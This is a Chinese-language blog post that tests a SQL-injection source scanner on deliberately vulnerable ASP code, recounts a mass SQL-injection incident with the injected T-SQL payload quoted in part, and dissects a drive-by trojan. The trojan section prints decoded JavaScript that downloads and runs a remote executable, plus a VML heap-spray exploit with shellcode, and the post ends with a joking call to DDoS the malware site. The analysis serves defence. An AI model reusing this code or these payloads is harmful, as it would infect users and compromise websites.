首頁

2013年6月28日 星期五

**小測微軟SQL Injection漏洞掃瞄工具**&游擊式的SQL Injection攻擊~~!!! &***有趣的木馬解剖~~!!!**

**小測微軟SQL Injection漏洞掃瞄工具**
**& 游擊式的SQL Injection攻擊~~!!! &*
**有趣的木馬解剖~~!!!**

**微軟推出了可以掃瞄ASP原始碼是否--
--有SQL Injection漏洞的工具,我的第一個--
--念頭是,They really did it?
在我的認知裡,原始碼分析工具最有挑戰性--
--的部分在於要能順著程式的邏輯跑,而不單--
--只從字面上查,例如: Request("id")被指定--
--成變數id,傳給函數GetInfo(id),函數中再呼叫RunGetInfoSel(id),使用者輸入的參數經過--
--三手才被拿來組SQL指令字串(危險,勿學) !!
除非分析工具一路追進函數中,才能解析出--
--這裡隱含了SQL Injection的漏洞。
換著角度想,分析工具幾乎要有假裝自己在--
--執行程式碼的能力,才不容易發生疏漏。
高深的工程被做成免費的工具,當然是好事。
但我對它的犀利度存疑,於是下載了工具,
並寫了以下的程式來考驗它一下。
以下的ASP程式裡,我故意搞了三處--
--SQL Injection漏洞--
--(再次警告,錯誤示範,勿學),
用msscasi_asp.exe掃瞄:                           **
**
   1:  <%
   2:  Dim id, sql, cnStr
   3:  cnStr = "Provider=MSDAORA;Data Source=TTT;
User Id=xxx;Password=xxx;"
   4:  id = Request("id")
   5:  '以下寫法隱含SQL Injection漏洞,千萬不可學
   6:  sql = "SELECT * FROM X WHERE ID='" & id & "'"
   7:  RunSql sql
   8:  RunSql2 id
   9:   
  10:  Dim cnY,rsY
  11:  Set cnY=Server.CreateObject("ADODB.Connection")
  12:  cnY.Open cnStr
  13:  Set rsY=Server.CreateObject("ADODB.Recordset")
  14:  rsY.Open sql, cnY
  15:  Response.Write rsY("D")
  16:  rsY.Close
  17:  cnY.Close
  18:  Set cnY=Nothing
  19:   
  20:  Sub RunSql(sql)
  21:      Dim cnY,rsY
  22:      Set cnY=Server.CreateObject("ADODB.Connection")
  23:      cnY.Open 
  24:      Set rsY=Server.CreateObject("ADODB.Recordset")
  25:      rsY.Open sql, cnY
  26:      
  27:      Response.Write rsY("D")
  28:      rsY.Close
  29:      cnY.Close
  30:      Set cnY=Nothing
  31:  End Sub
  32:   
  33:  Sub RunSql2(id) 
  34:      Dim cnY,rsY
  35:      Set cnY=Server.CreateObject("ADODB.Connection")
  36:      cnY.Open 
  37:      Set rsY=Server.CreateObject("ADODB.Recordset")
  38:      '以下寫法隱含SQL Injection漏洞,千萬不可學
  39:      sql = "SELECT * FROM X WHERE ID='" & id & "'"
  40:      rsY.Open sql, cnY
  41:      Response.Write rsY("D")
  42:      rsY.Close
  43:      cnY.Close
  44:      Set cnY=Nothing
  45:  End Sub
  46:  %>                                                             **
 
**執行結果不太理想,工具只抓到第14列一處,將有問題的SQL傳入函數執行,
或是將Request("id")傳入函數中再直接組SQL,都成了漏網之魚。
因此,若把第14列Remark起來,工具就找不出任何漏洞!! **
!!^結果讓人有些失望,但不意外! 要寫出可以"跑"VBScript程式的工具本來--
--就不是簡單的事,更何況它是免費工具。
大家在使用這類工具時,要把握一個原則: 有抓到表示有問題,沒抓到不代表沒問題^~!
***自動化工具可以偷懶省工,但總難免疏漏,腳踏實地逐一人工Review,
對我來說還是最可靠的方法。如果你不幸有幸在帶領團隊開發網站,
記得要在動手前再三強調SQL Injection知識的宣導, 
可以省去事後補破網要花的龐大人力物力  *^^
 

***游擊式的SQL Injection攻擊~~~!!!
!!))?(如果你身為網站設計人員卻不知道什麼是---
---SQL Injection,建議你最好立即請假佯裝出國度假或--
--雙手打上石膏裝殘,無論如何,在搞懂什麼--
---是SQL Injection之前,務必暫停手邊的開發工作,
以免在系統埋下更多的炸彈,遺害千年! ~~~**
!!!*~這次遇到的狀況是發現網站上一些內容顯示有誤,
似乎是HTML格式不對。仔細確認,發現資料庫中的---
---所有varchar, nvarchar欄位資料後方都被"""
""""加上了</title></pre>><s cript src="  
http: // 某個網站 / 某個.js              **~== ?!!!
**           "></s cript><!--

看到這種寫法,我立刻想起過去曾經解剖過的木馬。

順著它寫的js連過去檢查,證實了這是個掛馬的技倆沒錯。

因此,我有了初步推測:
  1. 所有DB的文字欄位都被加上相同的東西,應該是使用--
  2. --SQL指令造成的
  3. 加上掛馬用的js,目的是希望透過網站當媒介,
  4. 將木馬散播出去,因此對方知道這是Web主機用的DB。
  5. 綜合以上兩點,這應該是SQL Injection攻擊!!
既然是由Web進入的SQL Injection攻擊,理論上就應該-- --可以由IIS Log中看出端倪。不過由於被攻擊的時點不確定, 要搜索的範圍很大,加上我對SQL Injection手法有些過時的--- ---錯誤認知,因此一開始花了不少時間卻亳無所獲。 這裡說說所謂"過時的錯誤認"知是什麼,讓大家引以為戒: ***`!! ***
  1. 有設定Custom Error Page就可以有效
  2. 阻擋SQL Injection攻擊? 錯! 可以擋住一般的業餘駭客手工破解,
  3. 但擋不住高手或自動工具。
  4. 駭客會在TextBox中輸入不同的值來嘗試攻擊,
  5. 方能不受QueryString長度的限制 錯! GET一樣可以漂亮完成工作,一開始只鎖定---
  6. ---POST的Log記錄顯然找錯了方向
  7. SQL Injection多半是一連串的反覆嚐試,因此可以--
  8. --在Log上找到明顯跡象? 錯! 這年頭自動工具都很快、狠、準,不會留下太多足跡。
  9. 在SQL Injection的嘗試過程中,常會---
  10. ---觸發HTTP Status 500 Error? 錯! 有一種遊擊式攻擊法,只會發射幾個特定的URL,
  11. 若僥倖成功,半個Error也不會留下。
Google了一下(關鍵字hao929.cn, sb.5252.ws, , , 發現遇到相似攻擊的人很多,甚至有人把它定義成病毒, 我找到一個網站提供了頗為詳細的說明,發現它的原理是--- ---利用sysobjects, syscolumns去列出所有的文字欄位, 非常合理。很幸運地,用sysobjects當成關鍵字, 我在IIS Log中找到了證據。 邪惡的傢伙利用QueryString加掛了一段Code,使整段SQL變成 : select top 1 blahColC from blahTable where blahColA=123;dEcLaRe @t vArChAr (255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a, sYsCoLuMnS b ...略... b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 ...略... UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT (0x3C2F74697 ...略... tAbLe_cursoR;-- order by blahColB desc 其中看到它用了0x3C2F7469...這種寫法將</title>等文字--- ---隱藏起來,同時還故意用了奇怪的大小寫組合讓SQL指令--- ---不易閱讀。其中使用的手法如同在F-SECURE看到一樣, 但我所謂的"幸運",是指這回遇上的,並沒將核心的SQL語法-- --用Binary表示,否則會更難用Text工具直接從Log檔中找到線索。 除此之外,我發現同一個Client還發了另外兩個Request, 檢測目前的使用者是否為db_owner或sysadmin,也許是因為 有限定了連線DB的帳號權限(這點印證了我在文章中提到"權限 愈小傷害愈小"理論),在測試權限失敗後,就沒有後續動作了。 說不定如果用的帳號是sa,後面就開始跑DOS Command、 傳檔案、裝後門,光用想的就會讓人冒冷汗 !!! 【結論】 傳統印象中,SQL Injection要設法取得欄位名稱資訊,以偷出-- --資料或從事破壞為樂。但是要進行這些操作,通常得仰賴網站-- --傳回錯誤訊息的細節才能提供繼續深入的情報。近年來, 很多網站預設都已開啟Custom Error Page,讓手工操作入侵的--- ---難度變高。不過,也開發現一些新的攻擊趨勢: 1. 駭客圈已流傳一些現成的SQL注入工具,裡面已針對ORACLE、SQL、MySQL、Access等各家資料庫寫好預設的多組測試Script,不需要耐性過人也不必做苦工,交給工具快速試過一輪即可輕鬆得手。再配合Google找尋獵物,亂槍打鳥之下,就算你的網站沒什麼名氣都可能中鏢。 2. 除了有心駭客設法要破解網站盜取資訊,還有一種--- ---打遊擊式的SQL Injection攻擊,把全部的攻擊指令--- ---濃縮成一行QueryString,四處亂試主機,成功就爽到, 失敗了不過浪費幾百個Bytes的頻寬,是穩賺不賠的生意。 而攻擊指令是假設資料庫的內容會被當成HTML顯示在網站上, 所以只要找出SQL資料庫中所有的varchar, nvarchar, ntext, text欄位,在後方加上一段<script src=”用來載入--- --木馬的js檔案”>,就可以將網站當成感染源,達到廣種木馬的目標。 (這類木馬的原理可以參考先前發表過的"有趣的木馬解剖", 通常只要勤做Windows Update並避免--- ----執行來路不明的程式就可避免)!!!****** **有趣的木馬解剖***~~!! ((((同事回報發生了疑似中毒事件,查看的結果,發現中毒的--- ---機器用IE讀取網頁時(包含http://www.google.com.tw) 在HTML Source的最前端會被插入一列: (~~!! * <script src="httq://www_blogo_tw/lan.js"></script> (註: 為防止有害URL被誤觸,我做了一些變造處理)``````!!* ((由這個現象,可確定是中了惡意軟體-- --無誤,網管同事最後用AdWare SE 反間諜軟體將它掃除。但我好奇它的設計-- --原理,情不自禁又鑽了進去... 首先,lan.js長這副德行: (``````!!** ** eval(function(p,a,c,k,e,d){e=function(c){return (c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String. fromCharCode(c+29):c.toString(36))};if(!''.replace (/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k= [function(e){return ... 省略 ... d14=9://8.a.b/l.Y></c>")}N(e){2.7("<P M=\\"L\\" J=9://8.a.b/K.Q></R"+"W>");2.7("<f U=\\"S: T(\'9://8.a.b/l.Z?V=1\')\\"></f>")}}',62,70, '||document|expires|var|...由很多英文單字以直線分隔, 部分省略... |asp|XMLHTTP|9E36|04FC2|00C|src|Create Object|height|width'.split('|'),0,{})) ** **看起來,它將真正的程式碼中的所有英文單字先換成數字 及英文字母(例如紅字部分),而對照表就是綠色的直線分隔 單字清單,我猜split開來,2代表document,3代表expires, 4則是var,以此類推。本想自己寫Code解碼,後來心想, 這段Code本身就內建解碼器,才能還原回程式碼交給eval執行, 因此只加了幾個字,就讓原始程式現身了: ** ** window.status="" var cookieString=document.cookie; var start=cookieString.indexOf("tiantang="); if(start!=-1){}else{     var expires=new Date();expires.setTime (expires.getTime()+1*1*60*60*1000);     document.cookie="tiantang=funny; expires="+expires.toGMTString();     try{         var downf=document.createElement("object");         downf.setAttribute("classid","clsid: BD9"+"6C556-6"+"5A3-11D"+"0-983A-00C"+"04FC2"+"9E36");         str="Microsoft.XMLHTTP"         var O=downf.CreateObject(str,"");         document.write("<iframe width=0 height=0 src=httq://www_blogo_tw/lan.htm></iframe>")     }catch(e){         document.write("<script language= \"javascript\"  Src= httq://www_blogo_tw/lan7.js></sc"+"ript>");         document.write("<DIV style=\"CURSOR: url('httq://www_blogo_tw/lan.asp?id=1')\"></DIV>")     } } ** **原來這個木馬的原理是這樣的,首先會檢查一個Cookie (tiantang),看看有沒有被感染過,沒有感染過的人會-- --建立一顆RDS.DataSpace物件 ({CLSID:BD96C556-****-****-****-00C04FC29E36}, 它還故意將GUID拆成多個字串碎片逃避檢查), 試圖透過MS06-014安全漏洞植入木馬(這是目前火紅的木馬植入技術呢! ** **除此之外,它還會插入一個Iframe,理面類似lan.js, 用eval執行解碼過的程式碼如下,看來就是將木馬-- --植入使用者電腦的核心程式 ** ** function gn(n){     var number=Math.random()*n;return Math. round(number)+'.exe' //亂數檔名,搞鬼時的基本技巧} try{ aaa="obj";bbb="ect";ccc="Adodb.";ddd= "Stream";eee="Microsoft."; fff="XMLHTTP";lj='httq://www_blogo_tw/tt11.exe'; var df=document.createElement(aaa+bbb); df.setAttribute("classid","clsid: BD96C556-****-****-****-00C04FC29E36");var x=df. CreateObject(eee+fff,"");var S=df.CreateObject (ccc+ddd,"");S.type=1;x.open("GET",lj,0); x.send();mz1=gn(1000);var F=df.CreateObject ("Scripting.FileSystemObject","");var tmp=F.GetSpecialFolder(0);var t2;t2=F.BuildPath (tmp,"rising"+mz1); //產生rising+亂數.exe的檔名 mz1=F.BuildPath(tmp,mz1);S.Open();S.Write (x.responseBody);S.SaveToFile(mz1,2); //將tt11.exe更名後存入 S.Close();F.MoveFile(mz1,t2);var Q=df.CreateObject ("Shell.Application","");exp1=F.BuildPath (tmp+'\\system32','cmd.exe');Q.ShellExecute (exp1,' /c '+t2,"","open",0) //啟動邪惡的程式 }catch(i){i=1} ** **如果以上的手法失敗(表示使用者做過Windows Update了), 則會端上另一道大菜,首先載入lan7.js,並把游標換成一個-- --特定的檔案,應該是想透過微軟前陣子被發現的游標漏洞入侵-- --使用者的電腦,至於lan7.js,則包含了以下的內容: ** ** function doit() {  window.location.href="about:blank" } var cookieString = document.cookie; var start = cookieString.indexOf("tiantang1="); if (start != -1) {} else { var expires = new Date(); expires.setTime(expires.getTime() + 1 * 24 * 60 * 60 * 1000); document.cookie = "tiantang1=Ms07-004;expires=" + expires.toGMTString(); document.write(unescape("%3C%68%74%6D%6C%20%78 %6D%6C%6E%73%3A%76%3D%22%75%72%6E%3A%73%63%68% 65%6D%61%73%2D%6D%69%63%72%6F%73%6F%66%74%2D%63% 6F%6D%3A%22%72%67%62%28%31%2C%30%2C%36%36%29%22% 20%62%61%63%6B%63%6F%6C%6F%72%3D% ...落落長,省略... 22%33%30%38%34%22%20%2F%3E%0D%0A%3C%76%2F%72%65% 63%6F%6C%6F%72%69%6E%66%6F%3E%0D%0A%3C%2F%62%6F% 64%79%3E%0D%0A%3C%2F%68%74%6D%6C%3E")); window.setTimeout("doit()",5000);} ** **沒中過毒的人,會寫入Cookie(代表要進攻MS07-004漏洞? 這個Cookie真是大幅提高了程式碼的可讀性呀! 算是盜亦有道了), 先document.write出一段內容,接著在五秒後轉接空白頁- -毁屍滅跡。再解開這個document.write,發現果然是-- --要鑽MS07-004的向量標記語言漏洞... 其內容如下: ** **<html xmlns:v="urn:schemas-microsoft-com:vml"> <head> <object id="VMLRender" classid="CLSID:10072CEC- ****-****-****-00A0C955B42E"> </object> <style> v\:*{behavior:url(#VMLRender);} </style> <script> sh=unescape("%u9090"+"%u9090"+ "%u9090%u6090%u17eb%u645e%u30a1%u0000%u0500%u0800 %u0000%uf88b%u00b9"+ "%u0004%uf300%uffa4%ue8e0%uffe4%uffff%ua164%u0030 %u0000%u408b%u8b0c"+ ... 又是落落長的資料碼,但這次是可執行的二進位碼, 要利用漏洞執行... %u0000%u006a%u10ff%u0689%u4489%u1824%uecb9%u020f %uff00%u5f01%u5a5e"+ "%u5b59%ue4b8%u020f%uff00%ue820%ufdda%uffff"+ "%u7468%u7074%u2F3A%u772F%u7777%u622E"+ "%u6F6C%u6F67%u742E%u2F77%u7474%u3131%u652E%u6578"); sz=sh.length*2; npsz=0x1000000-(sz+0x38); nps=unescape("%u0c0c%u0c0c"); while(nps.length*2<npsz)nps+=nps; ihbc=(0x09000000-0x1000000)/0x1000000; mm=new Array(); for(i=0;i<ihbc;i++) { mm[i]=nps+sh; } </script> </head> <BODY onload=window.status=""> <v:rect style="width:0pt;height:0pt" fillcolor="white" > <v:recolorinfo recolorstate="t" numcolors="97612895"> <v:recolorinfoentry forecolor="rgb(1,0,66)" tocolor="rgb(1,0,66)" recolortype="3084" lbcolor="rgb(1,0,66)" backcolor="rgb(1,0,66)" fromcolor="rgb(1,0,66)" lbstyle ="3084" bitmaptype="3084" /> <v:recolorinfoentry forecolor="rgb(1,0,66)" tocolor="rgb(1,0,66)" recolortype="3084" lbcolor="rgb(1,0,66)" backcolor="rgb(1,0,66)" fromcolor="rgb(1,0,66)" lbstyle ="3084" bitmaptype="3084" /> <v:recolorinfoentry forecolor="rgb(1,0,66)" tocolor="rgb(1,0,66)" recolortype="3084" lbcolor="rgb(1,0,66)" backcolor="rgb(1,0,66)" fromcolor="rgb(1,0,66)" lbstyle ="3084" bitmaptype="3084" /> <v/recolorinfo> </body> </html> ** **由這番解析,算是揭開了這隻木馬進攻的手法, 全都靠Windows的漏洞,包含了動態游標漏洞、 VML漏洞及RDS.DataSpace漏洞,而且還具備了多管齊下的能力。 這些漏洞可怕之處在於只要開個網頁就會中標, 即便沒有白目地亂開EXE、VBS、PIF,一樣會遭秧。 切記,Windows Update一定要保持在最新的狀態,方為明哲保身之道! ** **PS: 看來www. _blogo. _tw是個大毒窰,MIS人員--- ---乾脆在DNS上把它禁掉算了。再不然,號召一些正義之士, 一起對它發動DDOS攻擊也不錯,可以名正言順地攻擊網站, 應該是件很爽的事吧!! (由此可以想見我是多麼想當駭客,哈!)^^** **[-05-30更新]發現文中的CLSID會被防毒軟體誤判為有害, 故將其中三節改為****-****-****避開** &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

沒有留言:

張貼留言


if you like make fds, wellcome you here~~anytime***

my free place for everyones who want the good software,

come & download them~ wellcome!!